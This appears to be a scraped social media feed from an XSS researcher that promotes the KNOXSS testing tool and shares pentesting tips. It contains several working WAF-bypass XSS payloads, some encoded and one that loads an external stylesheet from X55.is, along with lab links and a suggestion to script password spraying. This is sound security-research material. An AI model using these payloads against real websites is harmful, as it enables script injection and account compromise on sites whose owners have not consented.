BRute Logic

This might trick some #XSS filters out there, including CloudFlare's.

<Svg OnLoad="alert//>%0A(1)"

Subscription Plans Sign up now to get access to the best possible XSS testing tool! Includes BRute Logic's XSS ebook as a bonus for 1-Year subscriptions.

#BlackFriday

KNOXSS is up to 50% OFF

Check it out!

knoxss.me/?page_id=1974

#XSS #BugBounty #PenTesting

If you learn a #hacking technique but can't make it work, it's because you understand the example, not the technique.

Nice work in the original payload below.

Although "style=" (and "<link") being easily caught by most cloud WAFs I've seen out there, I've just made it shorter and "bypass friendly".

<p><dd onscrollsnapchange=alert(1)>
<link href=//X55.is/k rel=stylesheet>

PoC: brutelogic.com.br/xss.php?a=%3...

brutelogic.com.br/blog/buildin...

Some neat #XSS tricks to #Bypass #WAF in URL Context

=> HTMLi + Double Encoding + Embedded bytes

JavaScript:"<Svg/OnLoad=alert%25%0A26lpar;1)>"

=> + Octal Encoding

JavaScript:"\%0A74Svg/On%0ALoad=alert%25%0A26lpar;1%25%0A26rpar;>"

Lab: brutelogic.com.br/dom/sinks.ht...

I’m so happy to see all my old twitter friends and no nefarious billionaires!!

Thank you, appreciate it.

<XSS OnBlueSky=import(X)>

Main The State of The Art in XSS Testing. KNOXSS detects and proves with a popup 50+ XSS cases.

knoxss.me - Accuracy is everything.

#PenTesting?
Script your Password Spray.